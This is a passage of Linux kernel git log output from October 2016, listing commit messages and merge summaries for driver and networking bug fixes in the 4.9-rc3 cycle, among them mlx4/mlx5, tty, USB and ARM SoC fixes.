deletions(-) commit 81d184199e328fdad5633da139a10337327154e0 Author: Jack Morgenstein Date: Thu Oct 27 16:27:19 2016 +0300 net/mlx4_core: Do not access comm channel if it has not yet been initialized In the Hypervisor, there are several FW commands which are invoked before the comm channel is initialized (in mlx4_multi_func_init). These include MOD_STAT_CONFIG, QUERY_DEV_CAP, INIT_HCA, and others. If any of these commands fails, say with a timeout, the Hypervisor driver enters the internal error reset flow. In this flow, the driver attempts to notify all slaves via the comm channel that an internal error has occurred. Since the comm channel has not yet been initialized (i.e., mapped via ioremap), this will cause dereferencing a NULL pointer. To fix this, do not access the comm channel in the internal error flow if it has not yet been initialized. Fixes: 55ad359225b2 ("net/mlx4_core: Enable device recovery flow with SRIOV") Fixes: ab9c17a009ee ("mlx4_core: Modify driver initialization flow to accommodate SRIOV for Ethernet") Signed-off-by: Jack Morgenstein Signed-off-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx4/cmd.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit 9d2afba058722d40cc02f430229c91611c0e8d16 Author: Eugenia Emantayev Date: Thu Oct 27 16:27:18 2016 +0300 net/mlx4_en: Fix panic during reboot Fix a kernel panic that occurs as a result of an asynchronous event handled in roce_gid_mgmt: mlx4_en_get_drvinfo is called and accesses freed resources. This happens in a shutdown flow only, since pci device is destroyed while netdevice is still alive. Fixes: c27a02cd94d6 ("mlx4_en: Add driver for Mellanox ConnectX 10GbE NIC") Signed-off-by: Eugenia Emantayev Signed-off-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx4/en_netdev.c | 1 + 1 file changed, 1 insertion(+) commit 8d59de8f7bb3db296331c665779c653b0c8d13ba Author: Erez Shitrit Date: Thu Oct 27 16:27:17 2016 +0300 net/mlx4_en: Process all completions in RX rings after port goes up Currently there is a race between incoming traffic and initialization flow. HW is able to receive the packets after INIT_PORT is done and unicast steering is configured. Before we set priv->port_up NAPI is not scheduled and receive queues become full. Therefore we never get new interrupts about the completions. This issue could happen if running heavy traffic during bringing port up. The resolution is to schedule NAPI once port_up is set. If receive queues were full this will process all cqes and release them. Fixes: c27a02cd94d6 ("mlx4_en: Add driver for Mellanox ConnectX 10GbE NIC") Signed-off-by: Erez Shitrit Signed-off-by: Eugenia Emantayev Signed-off-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx4/en_netdev.c | 7 +++++++ 1 file changed, 7 insertions(+) commit 4850cf4581578216468b7b3c3d06cc5abb0a697d Author: Eugenia Emantayev Date: Thu Oct 27 16:27:16 2016 +0300 net/mlx4_en: Resolve dividing by zero in 32-bit system When doing roundup_pow_of_two for large enough number with bit 31, an overflow will occur and a value equal to 1 will be returned. In this case 1 will be subtracted from the return value and division by zero will be reached. Fixes: 31c128b66e5b ("net/mlx4_en: Choose time-stamping shift value according to HW frequency") Signed-off-by: Eugenia Emantayev Signed-off-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx4/en_clock.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 72da2e911f79d4c7132d7431a97d46659ee862be Author: Moshe Lazer Date: Thu Oct 27 16:27:15 2016 +0300 net/mlx4_core: Change the default value of enable_qos Change the default status of quality of service back to disabled, as it hurts performance in some cases. Fixes: 38438f7c7e8c ("net/mlx4: Set enhanced QoS support by default when ...") Signed-off-by: Moshe Lazer Signed-off-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx4/fw.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 33a1f8b196dca933313c001866c4df3f3ca11f78 Author: Maor Gottlieb Date: Thu Oct 27 16:27:14 2016 +0300 net/mlx4_core: Avoid setting ports to auto when only one port type is supported When only one port type is supported, it should be read only. We reject changing requests, even to the auto sense mode. Fixes: 27bf91d6a0d5 ("mlx4_core: Add link type autosensing") Signed-off-by: Maor Gottlieb Signed-off-by: Moshe Shemesh Signed-off-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx4/main.c | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) commit aa0c08feae8161b945520ada753d0dfe62b14fe7 Author: Jack Morgenstein Date: Thu Oct 27 16:27:13 2016 +0300 net/mlx4_core: Fix the resource-type enum in res tracker to conform to FW spec The resource type enum in the resource tracker was incorrect. RES_EQ was put in the position of RES_NPORT_ID (a FC resource). Since the remaining resources maintain their current values, and RES_EQ is not passed from slaves to the hypervisor in any FW command, this change affects only the hypervisor. Therefore, there is no backwards-compatibility issue. Fixes: 623ed84b1f95 ("mlx4_core: initial header-file changes for SRIOV support") Signed-off-by: Jack Morgenstein Signed-off-by: Moshe Shemesh Signed-off-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx4/mlx4.h | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit efa563752c252ddc201bbe55980a4f815bdc039c Merge: 2674235 a00052a Author: Linus Torvalds Date: Sat Oct 29 13:15:24 2016 -0700 Merge tag 'upstream-4.9-rc3' of git://git.infradead.org/linux-ubifs Pull ubi/ubifs fixes from Richard Weinberger: "This contains fixes for issues in both UBI and UBIFS: - A regression wrt overlayfs, introduced in -rc2. - An UBI issue, found by Dan Carpenter's static checker" * tag 'upstream-4.9-rc3' of git://git.infradead.org/linux-ubifs: ubifs: Fix regression in ubifs_readdir() ubi: fastmap: Fix add_vol() return value test in ubi_attach_fastmap() commit ff57087f314be8d458dca6bdd41be5b4236482a0 Author: shamir rabinovitch Date: Thu Oct 27 05:46:38 2016 -0400 rds: debug messages are enabled by default rds use Kconfig option called "RDS_DEBUG" to enable rds debug messages. This option cause the rds Makefile to add -DDEBUG to the rds gcc command line. When CONFIG_DYNAMIC_DEBUG is enabled, the "DEBUG" macro is used by include/linux/dynamic_debug.h to decide if dynamic debug prints should be sent by default to the kernel log. rds should not enable this macro for production builds. rds dynamic debug work as expected follow this fix. Signed-off-by: Shamir Rabinovitch Acked-by: Santosh Shilimkar Reviewed-by: Wengang Wang Signed-off-by: David S. Miller net/rds/Makefile | 2 +- net/rds/rds.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 880b583ce10886578f840cf4e7205826ea9165df Merge: 8d7533e b4f7f4a Author: David S. Miller Date: Sat Oct 29 15:54:16 2016 -0400 Merge tag 'mac80211-for-davem-2016-10-27' of git://git.kernel.org/pub/scm/linux/kernel/git/jberg/mac80211 Johannes Berg says: ==================== Just two fixes: * a fix to process all events while suspending, so any potential calls into the driver are done before it is suspended * small markup fixes for the sphinx documentation conversion that's coming into the tree via the doc tree ==================== Signed-off-by: David S. Miller commit 8d7533e5aaad1c94386a8101a36b0617987966b7 Author: Thomas Falcon Date: Wed Oct 26 13:57:38 2016 -0500 ibmvnic: Fix releasing of sub-CRQ IRQs in interrupt context Schedule these XPORT event tasks in the shared workqueue so that IRQs are not freed in an interrupt context when sub-CRQs are released. Signed-off-by: Thomas Falcon Signed-off-by: David S. Miller drivers/net/ethernet/ibm/ibmvnic.c | 35 ++++++++++++++++++++++++----------- drivers/net/ethernet/ibm/ibmvnic.h | 1 + 2 files changed, 25 insertions(+), 11 deletions(-) commit fd33b2447bec7926ceaf4a4b74b68ea2466f2ae0 Author: Jason Gunthorpe Date: Wed Oct 26 11:47:02 2016 -0600 net: mv643xx_eth: Fetch the phy connection type from DT The MAC is capable of RGMII mode and that is probably a more typical connection type than GMII today (eg it is used by Marvell Reference designs for several SOCs). Let DT users specify the standard phy-connection-type = "rgmii-id"; On a phy node. Signed-off-by: Jason Gunthorpe Reviewed-by: Florian Fainelli Signed-off-by: David S. Miller .../devicetree/bindings/net/marvell-orion-net.txt | 1 + drivers/net/ethernet/marvell/mv643xx_eth.c | 23 ++++++++++++++++++---- 2 files changed, 20 insertions(+), 4 deletions(-) commit 2674235fd4293e0cc367dde8fcf658d17cadea5c Merge: 2a29003 b70e8be Author: Linus Torvalds Date: Sat Oct 29 12:07:29 2016 -0700 Merge tag 'armsoc-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/arm/arm-soc Pull ARM SoC fixes from Olof Johansson: "We haven't seen a whole lot of fixes for the first two weeks since the merge window, but here is the batch that we have at the moment. Nothing sticks out as particularly bad or scary, it's mostly a handful of smaller fixes to several platforms. The Uniphier reset controller changes could probably have been delayed to 4.10, but they're not scary and just plumbing up driver changes that went in during the merge window. We're also adding another maintainer to Marvell Berlin platforms, to help out when Sebastian is too busy. Yay teamwork!" * tag 'armsoc-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/arm/arm-soc: ARM: imx: mach-imx6q: Fix the PHY ID mask for AR8031 ARM: dts: vf610: fix IRQ flag of global timer ARM: imx: gpc: Fix the imx_gpc_genpd_init() error path ARM: imx: gpc: Initialize all power domains arm64: dts: Updated NAND DT properties for NS2 SVK arm64: dts: uniphier: change MIO node to SD control node ARM: dts: uniphier: change MIO node to SD control node reset: uniphier: rename MIO reset to SD reset for Pro5, PXs2, LD20 SoCs arm64: uniphier: select ARCH_HAS_RESET_CONTROLLER ARM: uniphier: select ARCH_HAS_RESET_CONTROLLER arm64: dts: Add timer erratum property for LS2080A and LS1043A arm64: dts: rockchip: remove the abuse of keep-power-in-suspend ARM: multi_v7_defconfig: Enable Intel e1000e driver MAINTAINERS: add myself as Marvell berlin SoC maintainer bus: qcom-ebi2: depend on ARCH_QCOM or COMPILE_TEST ARM: dts: fix the SD card on the Snowball arm64: dts: rockchip: remove always-on and boot-on from vcc_sd arm64: dts: marvell: fix clocksource for CP110 master SPI0 ARM: mvebu: Select corediv clk for all mvebu v7 SoC commit ad60133909442bd0b972e9a926e948c51256a46f Merge: e934f68 9799c50 Author: David S. Miller Date: Sat Oct 29 15:05:53 2016 -0400 Merge tag 'batadv-net-for-davem-20161026' of git://git.open-mesh.org/linux-merge Simon Wunderlich says: ==================== Here are three batman-adv bugfix patches: - Fix RCU usage for neighbor list, by Sven Eckelmann - Fix BATADV_DBG_ALL loglevel to include TP Meter messages, by Sven Eckelmann - Fix possible splat when disabling an interface, by Linus Luessing ==================== Signed-off-by: David S. Miller commit e934f684856393a0b2aecc7fdd8357a48b79c535 Author: Stephen Hemminger Date: Wed Oct 26 08:30:29 2016 -0700 Revert "hv_netvsc: report vmbus name in ethtool" This reverts commit e3f74b841d48 ("hv_netvsc: report vmbus name in ethtool")' because of problem introduced by commit f9a56e5d6a0ba ("Drivers: hv: make VMBus bus ids persistent"). This changed the format of the vmbus name and this new format is too long to fit in the bus_info field of ethtool. Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller drivers/net/hyperv/netvsc_drv.c | 4 ---- include/linux/hyperv.h | 7 ------- 2 files changed, 11 deletions(-) commit 104ba78c98808ae837d1f63aae58c183db5505df Author: Willem de Bruijn Date: Wed Oct 26 11:23:07 2016 -0400 packet: on direct_xmit, limit tso and csum to supported devices When transmitting on a packet socket with PACKET_VNET_HDR and PACKET_QDISC_BYPASS, validate device support for features requested in vnet_hdr. Drop TSO packets sent to devices that do not support TSO or have the feature disabled. Note that the latter currently do process those packets correctly, regardless of not advertising the feature. Because of SKB_GSO_DODGY, it is not sufficient to test device features with netif_needs_gso. Full validate_xmit_skb is needed. Switch to software checksum for non-TSO packets that request checksum offload if that device feature is unsupported or disabled. Note that similar to the TSO case, device drivers may perform checksum offload correctly even when not advertising it. When switching to software checksum, packets hit skb_checksum_help, which has two BUG_ON checksum not in linear segment. Packet sockets always allocate at least up to csum_start + csum_off + 2 as linear. Tested by running github.com/wdebruij/kerneltools/psock_txring_vnet.c ethtool -K eth0 tso off tx on psock_txring_vnet -d $dst -s $src -i eth0 -l 2000 -n 1 -q -v psock_txring_vnet -d $dst -s $src -i eth0 -l 2000 -n 1 -q -v -N ethtool -K eth0 tx off psock_txring_vnet -d $dst -s $src -i eth0 -l 1000 -n 1 -q -v -G psock_txring_vnet -d $dst -s $src -i eth0 -l 1000 -n 1 -q -v -G -N v2: - add EXPORT_SYMBOL_GPL(validate_xmit_skb_list) Fixes: d346a3fae3ff ("packet: introduce PACKET_QDISC_BYPASS socket option") Signed-off-by: Willem de Bruijn Acked-by: Eric Dumazet Acked-by: Daniel Borkmann Signed-off-by: David S. Miller net/core/dev.c | 1 + net/packet/af_packet.c | 9 ++++----- 2 files changed, 5 insertions(+), 5 deletions(-) commit 4700e9ce6ed8526a14e6cf9d7e319f675c16d0a7 Author: Johannes Berg Date: Wed Oct 26 14:44:33 2016 +0200 net_sched actions: use nla_parse_nested() Use nla_parse_nested instead of open-coding the call to nla_parse() with the attribute data/len. Signed-off-by: Johannes Berg Acked-by: Cong Wang Signed-off-by: David S. Miller net/sched/act_api.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 166e6045cacccb3046883a1a4c977f173fec5ccd Author: Ganesh Goudar Date: Wed Oct 26 13:26:38 2016 +0530 cxgb4: Fix error handling in alloc_uld_rxqs(). Fix to release resources properly in error handling path of alloc_uld_rxqs(), This patch also removes unwanted arguments and avoids calling the same function twice. Fixes: 94cdb8bb993a (cxgb4: Add support for dynamic allocation of resources for ULD Signed-off-by: Ganesh Goudar Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4/cxgb4_uld.c | 40 ++++++++++++-------------- 1 file changed, 18 insertions(+), 22 deletions(-) commit a4256bc9ec36159e84d710c7c44aaa244a6380a8 Author: Arnd Bergmann Date: Tue Oct 25 18:16:20 2016 +0200 IB/mlx4: avoid a -Wmaybe-uninitialize warning There is an old warning about mlx4_SW2HW_EQ_wrapper on x86: ethernet/mellanox/mlx4/resource_tracker.c: In function ‘mlx4_SW2HW_EQ_wrapper’: ethernet/mellanox/mlx4/resource_tracker.c:3071:10: error: ‘eq’ may be used uninitialized in this function [-Werror=maybe-uninitialized] The problem here is that gcc won't track the state of the variable across a spin_unlock. Moving the assignment out of the lock is safe here and avoids the warning. Signed-off-by: Arnd Bergmann Reviewed-by: Yishai Hadas Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx4/resource_tracker.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 2fbef66e1407d1b13d181f7f5614a5897b452188 Merge: 07d9a38 e0af98a 5ee67b5 5c0ba57 Author: Mark Brown Date: Sat Oct 29 12:51:55 2016 -0600 Merge remote-tracking branches 'spi/fix/dt', 'spi/fix/fsl-dspi' and 'spi/fix/fsl-espi' into spi-linus commit 5ee67b587a2b0092bdea3123349c8c3c43e8e46e Author: Yuan Yao Date: Mon Oct 17 18:02:34 2016 +0800 spi: dspi: clear SPI_SR before enable interrupt Once dspi is used in uboot, the SPI_SR have been set by some value. At this time, if kernel enable the interrupt before clear the status flag, that will trigger the wrong interrupt. Signed-off-by: Yuan Yao Signed-off-by: Mark Brown drivers/spi/spi-fsl-dspi.c | 7 +++++++ 1 file changed, 7 insertions(+) commit ae148b085876fa771d9ef2c05f85d4b4bf09ce0d Author: Eli Cooper Date: Wed Oct 26 10:11:09 2016 +0800 ip6_tunnel: Update skb->protocol to ETH_P_IPV6 in ip6_tnl_xmit() This patch updates skb->protocol to ETH_P_IPV6 in ip6_tnl_xmit() when an IPv6 header is installed to a socket buffer. This is not a cosmetic change. Without updating this value, GSO packets transmitted through an ipip6 tunnel have the protocol of ETH_P_IP and skb_mac_gso_segment() will attempt to call gso_segment() for IPv4, which results in the packets being dropped. Fixes: b8921ca83eed ("ip4ip6: Support for GSO/GRO") Signed-off-by: Eli Cooper Signed-off-by: David S. Miller net/ipv6/ip6_tunnel.c | 1 + 1 file changed, 1 insertion(+) commit 96a8eb1eeed2c3485cdba198fab3a2faaec386d3 Author: Daniel Borkmann Date: Wed Oct 26 00:37:53 2016 +0200 bpf: fix samples to add fake KBUILD_MODNAME Some of the sample files are causing issues when they are loaded with tc and cls_bpf, meaning tc bails out while trying to parse the resulting ELF file as program/map/etc sections are not present, which can be easily spotted with readelf(1). Currently, BPF samples are including some of the kernel headers and mid term we should change them to refrain from this, really. When dynamic debugging is enabled, we bail out due to undeclared KBUILD_MODNAME, which is easily overlooked in the build as clang spills this along with other noisy warnings from various header includes, and llc still generates an ELF file with mentioned characteristics. For just playing around with BPF examples, this can be a bit of a hurdle to take. Just add a fake KBUILD_MODNAME as a band-aid to fix the issue, same is done in xdp*_kern samples already. Fixes: 65d472fb007d ("samples/bpf: add 'pointer to packet' tests") Fixes: 6afb1e28b859 ("samples/bpf: Add tunnel set/get tests.") Fixes: a3f74617340b ("cgroup: bpf: Add an example to do cgroup checking in BPF") Reported-by: Chandrasekar Kannan Signed-off-by: Daniel Borkmann Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller samples/bpf/parse_ldabs.c | 1 + samples/bpf/parse_simple.c | 1 + samples/bpf/parse_varlen.c | 1 + samples/bpf/tcbpf1_kern.c | 1 + samples/bpf/tcbpf2_kern.c | 1 + samples/bpf/test_cgrp2_tc_kern.c | 1 + 6 files changed, 6 insertions(+) commit 2a290036a1e4c813ee913154cd0334bd07330582 Merge: c636e17 a7d5afe Author: Linus Torvalds Date: Sat Oct 29 11:19:02 2016 -0700 Merge tag 'char-misc-4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/char-misc Pull char/misc driver fixes from Greg KH: "Here are a few small char/misc driver fixes for reported issues. The "biggest" are two binder fixes for reported issues that have been shipping in Android phones for a while now, the others are various fixes for reported problems. And there's a MAINTAINERS update for good measure. All have been in linux-next with no reported issues" * tag 'char-misc-4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/char-misc: MAINTAINERS: Add entry for genwqe driver VMCI: Doorbell create and destroy fixes GenWQE: Fix bad page access during abort of resource allocation vme: vme_get_size potentially returning incorrect value on failure extcon: qcom-spmi-misc: Sync the extcon state on interrupt hv: do not lose pending heartbeat vmbus packets mei: txe: don't clean an unprocessed interrupt cause. ANDROID: binder: Clear binder and cookie when setting handle in flat binder struct ANDROID: binder: Add strong ref checks commit 74e3368de87d5efb439b17d8e5108ebaf08224c2 Merge: 07d9a38 adf08d4 72193a9 Author: Mark Brown Date: Sat Oct 29 12:14:39 2016 -0600 Merge remote-tracking branches 'regmap/fix/header' and 'regmap/fix/macro' into regmap-linus commit b70e8beb09d313202afd9d3953f501f02ee4e44b Merge: bb70e53 7c62731 Author: Olof Johansson Date: Sat Oct 29 11:09:37 2016 -0700 Merge tag 'v4.9-rockchip-dts64-fixes1' of git://git.kernel.org/pub/scm/linux/kernel/git/mmind/linux-rockchip into fixes Correct regulator handling on Rockchip arm64 boards to make bind/unbind calls work correctly and remove a sdio-only property from non-sdio mmc hosts, that accidentially was added there. * tag 'v4.9-rockchip-dts64-fixes1' of git://git.kernel.org/pub/scm/linux/kernel/git/mmind/linux-rockchip: arm64: dts: rockchip: remove the abuse of keep-power-in-suspend arm64: dts: rockchip: remove always-on and boot-on from vcc_sd Signed-off-by: Olof Johansson commit bb70e53e92a219f149a50ad1b870ad046e3e1fd6 Merge: fbaff05 963d790 Author: Olof Johansson Date: Sat Oct 29 11:09:11 2016 -0700 Merge tag 'arm-soc/for-4.9/devicetree-arm64-fixes' of http://github.com/Broadcom/stblinux into fixes This pull request contains a single fix for Broadcom ARM64-based SoCs: - Ray adds the required bus width and OOB sector size properties to the Northstar 2 SVK reference board in order for the NAND controller to work properly * tag 'arm-soc/for-4.9/devicetree-arm64-fixes' of http://github.com/Broadcom/stblinux: arm64: dts: Updated NAND DT properties for NS2 SVK Signed-off-by: Olof Johansson commit fbaff059c29e4002d8cf5dbb71ad812c1f3d976e Merge: 10e15a6 4edd601 Author: Olof Johansson Date: Sat Oct 29 11:08:50 2016 -0700 Merge tag 'imx-fixes-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/shawnguo/linux into fixes The i.MX fixes for 4.9: - A couple of patches from Fabio to fix the GPC power domain regression which is caused by PM Domain core change 0159ec670763dd ("PM / Domains: Verify the PM domain is present when adding a provider"), and a related kernel crash seen with multi_v7_defconfig build. - Correct the PHY ID mask for AR8031 to match phy driver code. - Apply new added timer erratum A008585 for LS1043A and LS2080A SoC. - Correct vf610 global timer IRQ flag to avoid warning from gic driver after commit 992345a58e0c ("irqchip/gic: WARN if setting the interrupt type for a PPI fails"). * tag 'imx-fixes-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/shawnguo/linux: ARM: imx: mach-imx6q: Fix the PHY ID mask for AR8031 ARM: dts: vf610: fix IRQ flag of global timer ARM: imx: gpc: Fix the imx_gpc_genpd_init() error path ARM: imx: gpc: Initialize all power domains arm64: dts: Add timer erratum property for LS2080A and LS1043A Signed-off-by: Olof Johansson commit 10e15a639caac3be3c142f8837a17520da84db9f Merge: 2723605 8e68c65 Author: Olof Johansson Date: Sat Oct 29 11:05:49 2016 -0700 Merge tag 'uniphier-fixes-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/masahiroy/linux-uniphier into fixes UniPhier ARM SoC fixes for v4.9 - Add "select ARCH_HAS_RESET_CONTROLLER" in Kconfig - Rename wrongly-named mioctrl to sdctrl * tag 'uniphier-fixes-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/masahiroy/linux-uniphier: arm64: dts: uniphier: change MIO node to SD control node ARM: dts: uniphier: change MIO node to SD control node reset: uniphier: rename MIO reset to SD reset for Pro5, PXs2, LD20 SoCs arm64: uniphier: select ARCH_HAS_RESET_CONTROLLER ARM: uniphier: select ARCH_HAS_RESET_CONTROLLER Signed-off-by: Olof Johansson commit c636e176d8e5afe2f3b3e3f1de33ec13f1cee308 Merge: db4a57e 248ff02 Author: Linus Torvalds Date: Sat Oct 29 10:57:40 2016 -0700 Merge tag 'driver-core-4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/driver-core Pull driver core fixes from Greg KH: "Here are two small driver core / kernfs fixes for 4.9-rc3. One makes the Kconfig entry for DEBUG_TEST_DRIVER_REMOVE a bit more explicit that this is a crazy thing to enable for a distro kernel (thanks for trying Fedora!), the other resolves an issue with vim opening kernfs files (sysfs, configfs, etc.) Both have been in linux-next with no reported issues" * tag 'driver-core-4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/driver-core: driver core: Make Kconfig text for DEBUG_TEST_DRIVER_REMOVE stronger kernfs: Add noop_fsync to supported kernfs_file_fops commit db4a57e6d7838a7d54de34569e08048ff9da62a8 Merge: 37cc6bb e866dd8 Author: Linus Torvalds Date: Sat Oct 29 10:20:59 2016 -0700 Merge tag 'staging-4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/staging Pull staging and IIO driver fixes from Greg KH: "Here are some small staging and iio driver fixes for reported issues for 4.9-rc3. Nothing major, the "largest" being a lustre fix for a sysfs file that was obviously wrong, and had never been tested, so it was moved to debugfs as that is where it belongs. The others are small bug fixes for reported issues with various staging or iio drivers. All have been in linux-next for a while with no reported issues" * tag 'staging-4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/staging: greybus: fix a leak on error in gb_module_create() greybus: es2: fix error return code in ap_probe() greybus: arche-platform: Add missing of_node_put() in arche_platform_change_state() staging: android: ion: Fix error handling in ion_query_heaps() iio: accel: sca3000_core: avoid potentially uninitialized variable iio:chemical:atlas-ph-sensor: Fix use of 32 bit int to hold 16 bit big endian value staging/lustre/llite: Move unstable_stats from sysfs to debugfs Staging: wilc1000: Fix kernel Oops on opening the device staging: android/ion: testing the wrong variable Staging: greybus: uart: Use gbphy_dev->dev instead of bundle->dev Staging: greybus: gpio: Use gbphy_dev->dev instead of bundle->dev iio: adc: ti-adc081c: Select IIO_TRIGGERED_BUFFER to prevent build errors iio: maxim_thermocouple: Align 16 bit big endian value of raw reads commit 37cc6bb8f28aee667835a97b4d00e6a20e0e4b62 Merge: 9af6f26 d0f4bce Author: Linus Torvalds Date: Sat Oct 29 10:17:52 2016 -0700 Merge tag 'tty-4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/tty Pull tty/serial driver fixes from Greg KH: "Here are a number of small tty and serial driver fixes for reported issues for 4.9-rc3. Nothing major, but they do resolve a bunch of problems with the tty core changes that are in 4.9-rc1, and finally the atmel serial driver is back working properly. All have been in linux-next with no reported issues" * tag 'tty-4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/tty: tty: serial_core: fix NULL struct tty pointer access in uart_write_wakeup tty: serial_core: Fix serial console crash on port shutdown tty/serial: at91: fix hardware handshake on Atmel platforms vt: clear selection before resizing sc16is7xx: always write state when configuring GPIO as an output sh-sci: document R8A7743/5 support tty: serial: 8250: 8250_core: NXP SC16C2552 workaround tty: limit terminal size to 4M chars tty: serial: fsl_lpuart: Fix Tx DMA edge case serial: 8250_lpss: enable MSI for sure serial: core: fix console problems on uart_close serial: 8250_uniphier: fix clearing divisor latch access bit serial: 8250_uniphier: fix more unterminated string serial: pch_uart: add terminate entry for dmi_system_id tables devicetree: bindings: uart: Add new compatible string for ZynqMP serial: xuartps: Add new compatible string for ZynqMP serial: SERIAL_STM32 should depend on HAS_DMA serial: stm32: Fix comparisons with undefined register tty: vt, fix bogus division in csi_J commit 9af6f26a1a7f152f7736c0c20247eef0ab3df190 Merge: c067aff c1aa677 Author: Linus Torvalds Date: Sat Oct 29 10:07:59 2016 -0700 Merge tag 'usb-4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/usb Pull USB fixes from Greg KH: "Here are a number of small USB driver fixes for 4.9-rc3. There is the usual number of gadget and xhci patches in here to resolved reported issues, as well as some usb-serial driver fixes and new device ids. All have been in linux-next with no reported issues" * tag 'usb-4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/usb: (26 commits) usb: chipidea: host: fix NULL ptr dereference during shutdown usb: renesas_usbhs: add wait after initialization for R-Car Gen3 usb: increase ohci watchdog delay to 275 msec usb: musb: Call pm_runtime from musb_gadget_queue usb: musb: Fix hardirq-safe hardirq-unsafe lock order error usb: ehci-platform: increase EHCI_MAX_RSTS to 4 usb: ohci-at91: Set RemoteWakeupConnected bit explicitly. USB: serial: fix potential NULL-dereference at probe xhci: use default USB_RESUME_TIMEOUT when resuming ports. xhci: workaround for hosts missing CAS bit xhci: add restart quirk for Intel Wildcatpoint PCH USB: serial: cp210x: fix tiocmget error handling wusb: fix error return code in wusb_prf() Revert "Documentation: devicetree: dwc2: Deprecate g-tx-fifo-size" Revert "usb: dwc2: gadget: fix TX FIFO size and address initialization" Revert "usb: dwc2: gadget: change variable name to more meaningful" USB: serial: ftdi_sio: add support for Infineon TriBoard TC2X7 wusb: Stop using the stack for sg crypto scratch space usb: dwc3: Fix size used in dma_free_coherent() usb: gadget: f_fs: stop sleeping in ffs_func_eps_disable ... commit e4cabca54911a6be6f2e80e48fa497c7e19019a5 Author: Craig Gallek Date: Tue Oct 25 18:08:49 2016 -0400 inet: Fix missing return value in inet6_hash As part of a series to implement faster SO_REUSEPORT lookups, commit 086c653f5862 ("sock: struct proto hash function may error") added return values to protocol hash functions and commit 496611d7b5ea ("inet: create IPv6-equivalent inet_hash function") implemented a new hash function for IPv6. However, the latter does not respect the former's convention. This properly propagates the hash errors in the IPv6 case. Fixes: 496611d7b5ea ("inet: create IPv6-equivalent inet_hash function") Reported-by: Soheil Hassas Yeganeh Signed-off-by: Craig Gallek Acked-by: Soheil Hassas Yeganeh Signed-off-by: David S. Miller net/ipv6/inet6_hashtables.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 58a86c45866970ebc9c8cf99fabeb82457a959c6 Merge: bf911e9 6b27619 Author: David S. Miller Date: Sat Oct 29 12:00:41 2016 -0400 Merge branch 'mlx5-fixes' Saeed Mahameed says: ==================== Mellanox 100G mlx5 fixes 2016-10-25 This series contains some bug fixes for the mlx5 core and mlx5e driver. From Daniel: - Cache line size determination at runtime, instead of using L1_CACHE_BYTES hard coded value, use cache_line_size() - Always Query HCA caps after setting them even on reset flow From Mohamad: - Reorder netdev cleanup to uregister netdev before detaching it for the kernel to not complain about open resources such as vlans - Change the acl enable prototype to return status, for better error resiliency - Clear health sick bit when starting health poll after reset flow - Fix race between PCI error handlers and health work - PCI error recovery health care simulation, in case when the kernel PCI error handlers are not triggered for some internal firmware errors From Noa: - Avoid passing dma address 0 to firmware when mapping system pages to the firmware From Paul: Some straight forward flow steering fixes - Keep autogroups list ordered - Fix autogroups groups num not decreasing - Correctly initialize last use of flow counters From Saeed: - Choose the nearest LRO timeout to the wanted one instead of blindly choosing "dev_cap.lro_timeout[2]" This series has no conflict with the for-next pull request posted earlier today ("Mellanox mlx5 core driver updates 2016-10-25"). ==================== Signed-off-by: David S. Miller commit 6b276190c50a12511d889d9079ffb901ff94a822 Author: Noa Osherovich Date: Tue Oct 25 18:36:35 2016 +0300 net/mlx5: Avoid passing dma address 0 to firmware Currently the firmware can't work with a page with dma address 0. Passing such an address to the firmware will cause the give_pages command to fail. To avoid this, in case we get a 0 dma address of a page from the dma engine, we avoid passing it to FW by remapping to get an address other than 0. Fixes: bf0bf77f6519 ('mlx5: Support communicating arbitrary host...') Signed-off-by: Noa Osherovich Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller .../net/ethernet/mellanox/mlx5/core/pagealloc.c | 26 +++++++++++++++------- 1 file changed, 18 insertions(+), 8 deletions(-) commit 04c0c1ab38e95105d950db5b84e727637e149ce7 Author: Mohamad Haj Yahia Date: Tue Oct 25 18:36:34 2016 +0300 net/mlx5: PCI error recovery health care simulation In case that the kernel PCI error handlers are not called, we will trigger our own recovery flow. The health work will give priority to the kernel pci error handlers to recover the PCI by waiting for a small period, if the pci error handlers are not triggered the manual recovery flow will be executed. We don't save pci state in case of manual recovery because it will ruin the pci configuration space and we will 